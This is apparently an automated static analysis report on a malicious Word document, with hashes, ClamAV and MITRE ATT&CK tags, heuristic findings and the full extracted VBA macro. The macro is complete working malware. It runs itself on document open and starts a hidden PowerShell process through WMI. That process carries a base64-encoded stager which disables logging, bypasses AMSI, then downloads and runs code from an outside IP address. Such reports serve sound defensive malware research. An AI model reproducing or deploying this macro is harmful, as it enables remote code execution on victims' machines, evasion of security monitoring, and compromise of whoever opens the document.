Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9de82ab6f13033ee…

MALICIOUS

Office (OLE)

40.0 KB Created: 2018-06-26 04:49:00 Authoring application: Microsoft Office Word First seen: 2018-10-07
MD5: 03ba0a7cd9aa7ce786ec63fabcae053c SHA-1: a4a0d2a84337d1970eda120efab6d8f66250e88e SHA-256: 9de82ab6f13033ee346d528a4657482ffbb1353d6334303660fabc2e40d4addd
406 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros with AutoOpen and Document_Open functions that execute a PowerShell command. This command is obfuscated but appears to be designed to download and execute a second-stage payload. The presence of PowerShell execution and the ClamAV detection strongly indicate malicious intent.

Heuristics 13

  • ClamAV: Doc.Dropper.Donoff-5743532-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Donoff-5743532-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        Dim iaUJdxYz As String
        iaUJdxYz = "powershell -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVg"
        iaUJdxYz = iaUJdxYz + "BFAHIAUwBJAE8AbgBUAGEAYgBMAGUALgBQAFMAVgBFAHIAUwBp"
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
        strComputer = "."
        Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
        Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        strComputer = "."
        Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
        Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
        TzRTzZninBSoUMc
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
        TzRTzZninBSoUMc
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub Auto_Open()
        TzRTzZninBSoUMc
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8600 bytes
SHA-256: ee0d6301e5d52352571a2fae92ce385c46578dd31f965ff10bb721d3d340a639
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
    TzRTzZninBSoUMc
End Sub

Sub AutoOpen()
    TzRTzZninBSoUMc
End Sub

Sub Document_Open()
    TzRTzZninBSoUMc
End Sub

Public Function TzRTzZninBSoUMc() As Variant
    Dim iaUJdxYz As String
    iaUJdxYz = "powershell -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVg"
    iaUJdxYz = iaUJdxYz + "BFAHIAUwBJAE8AbgBUAGEAYgBMAGUALgBQAFMAVgBFAHIAUwBp"
    iaUJdxYz = iaUJdxYz + "AE8ATgAuAE0AYQBKAG8AUgAgAC0ARwBFACAAMwApAHsAJABHAF"
    iaUJdxYz = iaUJdxYz + "AARgA9AFsAcgBlAGYAXQAuAEEAcwBzAGUATQBiAGwAWQAuAEcA"
    iaUJdxYz = iaUJdxYz + "ZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQ"
    iaUJdxYz = iaUJdxYz + "BnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBV"
    iaUJdxYz = iaUJdxYz + "AHQAaQBsAHMAJwApAC4AIgBHAEUAVABGAGkARQBgAEwAZAAiAC"
    iaUJdxYz = iaUJdxYz + "gAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkA"
    iaUJdxYz = iaUJdxYz + "UwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQ"
    iaUJdxYz = iaUJdxYz + "BiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBGACgAJABH"
    iaUJdxYz = iaUJdxYz + "AFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAEUAdABWAG"
    iaUJdxYz = iaUJdxYz + "EATABVAEUAKAAkAE4AdQBMAEwAKQA7AEkAZgAoACQARwBQAEMA"
    iaUJdxYz = iaUJdxYz + "WwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZw"
    iaUJdxYz = iaUJdxYz + "BnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBw"
    iaUJdxYz = iaUJdxYz + "AHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAF"
    iaUJdxYz = iaUJdxYz + "sAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwA"
    iaUJdxYz = iaUJdxYz + "bwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQw"
    iaUJdxYz = iaUJdxYz + "BbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBn"
    iaUJdxYz = iaUJdxYz + "AGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAH"
    iaUJdxYz = iaUJdxYz + "AAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8A"
    iaUJdxYz = iaUJdxYz + "ZwBnAGkAbgBnACcAXQA9ADAAfQAkAFYAYQBMAD0AWwBDAG8ATA"
    iaUJdxYz = iaUJdxYz + "BMAGUAYwB0AEkAbwBuAHMALgBHAGUATgBFAHIAaQBDAC4ARABp"
    iaUJdxYz = iaUJdxYz + "AGMAVABpAE8AbgBhAFIAWQBbAHMAVAByAGkATgBHACwAUwB5AF"
    iaUJdxYz = iaUJdxYz + "MAdABlAE0ALgBPAEIAagBlAEMAVABdAF0AOgA6AG4AZQBXACgA"
    iaUJdxYz = iaUJdxYz + "KQA7ACQAVgBhAGwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUw"
    iaUJdxYz = iaUJdxYz + "BjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBu"
    iaUJdxYz = iaUJdxYz + "AGcAJwAsADAAKQA7ACQAVgBBAEwALgBBAGQAZAAoACcARQBuAG"
    iaUJdxYz = iaUJdxYz + "EAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8A"
    iaUJdxYz = iaUJdxYz + "YwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJA"
    iaUJdxYz = iaUJdxYz + "BHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBD"
    iaUJdxYz = iaUJdxYz + "AEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAG"
    iaUJdxYz = iaUJdxYz + "MAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQA"
    iaUJdxYz = iaUJdxYz + "bwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQ"
    iaUJdxYz = iaUJdxYz + "BwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBd"
    iaUJdxYz = iaUJdxYz + "AD0AJAB2AEEAbAB9AEUATABzAEUAewBbAFMAYwBSAGkAcAB0AE"
    iaUJdxYz = iaUJdxYz + "IATABvAEMASwBdAC4AIgBHAGUAVABGAEkAZQBgAEwAZAAiACgA"
    iaUJdxYz = iaUJdxYz + "JwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbw"
    iaUJdxYz = iaUJdxYz + "BuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBF"
    iaUJdxYz = iaUJdxYz + "AFQAVgBhAEwAdQBlACgAJABOAHUATABMACwAKABOAGUAdwAtAE"
    iaUJdxYz = iaUJdxYz + "8AYgBqAGUAYwBUACAAQwBvAEwATABlAEMAVABJAG8AbgBzAC4A"
    iaUJdxYz = iaUJdxYz + "RwBFAG4AZQBSAEkAYwAuAEgAQQBTAGgAUwBFAFQAWwBTAHQAcg"
    iaUJdxYz = iaUJdxYz + "BJAE4AZwBdACkAKQB9AFsAUgBlAGYAXQAuAEEAcwBzAGUATQBC"
    iaUJdxYz = iaUJdxYz + "AEwAeQAuAEcARQB0AFQAWQBwAGUAKAAnAFMAeQBzAHQAZQBtAC"
    iaUJdxYz = iaUJdxYz + "4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQA"
    iaUJdxYz = iaUJdxYz + "aQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJA"
    iaUJdxYz = iaUJdxYz + "BfAH0AfAAlAHsAJABfAC4ARwBFAHQARgBJAGUATABEACgAJwBh"
    iaUJdxYz = iaUJdxYz + "AG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG"
    iaUJdxYz = iaUJdxYz + "4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUA"
    iaUJdxYz = iaUJdxYz + "dABWAGEAbABVAGUAKAAkAE4AdQBMAGwALAAkAFQAUgB1AEUAKQ"
    iaUJdxYz = iaUJdxYz + "B9ADsAfQA7AFsAUwBZAHMAdABlAE0ALgBOAGUAVAAuAFMARQBS"
    iaUJdxYz = iaUJdxYz + "AFYAaQBDAGUAUABPAGkATgBUAE0AYQBOAGEARwBlAFIAXQA6AD"
    iaUJdxYz = iaUJdxYz + "oARQBYAFAAZQBjAHQAMQAwADAAQwBPAE4AVABJAG4AVQBFAD0A"
    iaUJdxYz = iaUJdxYz + "MAA7ACQAdwBDAD0ATgBlAHcALQBPAGIAagBFAEMAdAAgAFMAeQ"
    iaUJdxYz = iaUJdxYz + "BTAHQARQBNAC4ATgBFAFQALgBXAEUAYgBDAGwASQBFAE4AVAA7"
    iaUJdxYz = iaUJdxYz + "ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAG"
    iaUJdxYz = iaUJdxYz + "kAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYA"
    iaUJdxYz = iaUJdxYz + "NAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOg"
    iaUJdxYz = iaUJdxYz + "AxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAk"
    iaUJdxYz = iaUJdxYz + "AHcAQwAuAEgAZQBBAGQARQBSAHMALgBBAEQAZAAoACcAVQBzAG"
    iaUJdxYz = iaUJdxYz + "UAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAQwAuAFAA"
    iaUJdxYz = iaUJdxYz + "UgBPAFgAeQA9AFsAUwBZAFMAdABFAE0ALgBOAEUAVAAuAFcARQ"
    iaUJdxYz = iaUJdxYz + "BiAFIAZQBxAHUAZQBzAFQAXQA6ADoARABFAEYAQQB1AGwAVABX"
    iaUJdxYz = iaUJdxYz + "AEUAYgBQAFIATwB4AFkAOwAkAFcAQwAuAFAAUgBvAHgAeQAuAE"
    iaUJdxYz = iaUJdxYz + "MAcgBFAGQAZQBOAFQASQBBAGwAcwAgAD0AIABbAFMAeQBTAHQA"
    iaUJdxYz = iaUJdxYz + "ZQBNAC4ATgBlAFQALgBDAFIARQBEAEUATgBUAGkAYQBMAEMAQQ"
    iaUJdxYz = iaUJdxYz + "BjAGgARQBdADoAOgBEAEUAZgBhAFUAbAB0AE4AZQB0AHcATwBy"
    iaUJdxYz = iaUJdxYz + "AEsAQwByAEUARABFAG4AVABJAEEAbABzADsAJABTAGMAcgBpAH"
    iaUJdxYz = iaUJdxYz + "AAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgA"
    iaUJdxYz = iaUJdxYz + "eQA7ACQASwA9AFsAUwB5AHMAVABFAE0ALgBUAEUAWABUAC4ARQ"
    iaUJdxYz = iaUJdxYz + "BOAGMATwBEAEkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQBU"
    iaUJdxYz = iaUJdxYz + "AEIAeQB0AGUAcwAoACcAPQBWAE8AMwB6AFoANQAxACEASABVAE"
    iaUJdxYz = iaUJdxYz + "QAYQBfAGsAPABpAH4AVAB4ACYAKgBtAGwAdQBqAC0AYgAlAFkA"
    iaUJdxYz = iaUJdxYz + "fAB0ACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIAZw"
    iaUJdxYz = iaUJdxYz + "BzADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8"
    iaUJdxYz = iaUJdxYz + "ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAF"
    iaUJdxYz = iaUJdxYz + "sAJABfACUAJABLAC4AQwBPAHUATgB0AF0AKQAlADIANQA2ADsA"
    iaUJdxYz = iaUJdxYz + "JABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASg"
    iaUJdxYz = iaUJdxYz + "BdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAo"
    iaUJdxYz = iaUJdxYz + "ACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAF"
    iaUJdxYz = iaUJdxYz + "MAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQA"
    iaUJdxYz = iaUJdxYz + "UwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQ"
    iaUJdxYz = iaUJdxYz + "A7ACQAXwAtAEIAWABPAHIAJABTAFsAKAAkAFMAWwAkAEkAXQAr"
    iaUJdxYz = iaUJdxYz + "ACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAH"
    iaUJdxYz = iaUJdxYz + "IAPQAnAGgAdAB0AHAAOgAvAC8AMwA1AC4AMQA2ADAALgAxADAA"
    iaUJdxYz = iaUJdxYz + "NQAuADcAMgA6ADgAMAAnADsAJAB0AD0AJwAvAGwAbwBnAGkAbg"
    iaUJdxYz = iaUJdxYz + "AvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnADsAJAB3AGMALgBI"
    iaUJdxYz = iaUJdxYz + "AEUAYQBEAGUAcgBTAC4AQQBEAEQAKAAiAEMAbwBvAGsAaQBlAC"
    iaUJdxYz = iaUJdxYz + "IALAAiAHMAZQBzAHMAaQBvAG4APQBCAG0ARQBkAEgAZgBlAG0A"
    iaUJdxYz = iaUJdxYz + "VQA1AGgANABkAFgAKwBWAGkAUwBwAGQAZABsADEAdgAyAHMAaw"
    iaUJdxYz = iaUJdxYz + "A9ACIAKQA7ACQARABBAHQAYQA9ACQAVwBDAC4ARABPAHcAbgBM"
    iaUJdxYz = iaUJdxYz + "AE8AYQBkAEQAQQBUAEEAKAAkAFMAZQBSACsAJAB0ACkAOwAkAE"
    iaUJdxYz = iaUJdxYz + "kAdgA9ACQAZABBAHQAQQBbADAALgAuADMAXQA7ACQAZABhAFQA"
    iaUJdxYz = iaUJdxYz + "QQA9ACQARABBAFQAQQBbADQALgAuACQARABhAHQAYQAuAEwAZQ"
    iaUJdxYz = iaUJdxYz + "BuAGcAVABIAF0AOwAtAEoATwBJAG4AWwBDAGgAQQByAFsAXQBd"
    iaUJdxYz = iaUJdxYz + "ACgAJgAgACQAUgAgACQAZABhAFQAQQAgACgAJABJAFYAKwAkAE"
    iaUJdxYz = iaUJdxYz + "sAKQApAHwASQBFAFgA"
    Const HIDDEN_WINDOW = 0
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    objConfig.ShowWindow = HIDDEN_WINDOW
    Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
    objProcess.Create iaUJdxYz, Null, objConfig, intProcessID
End Function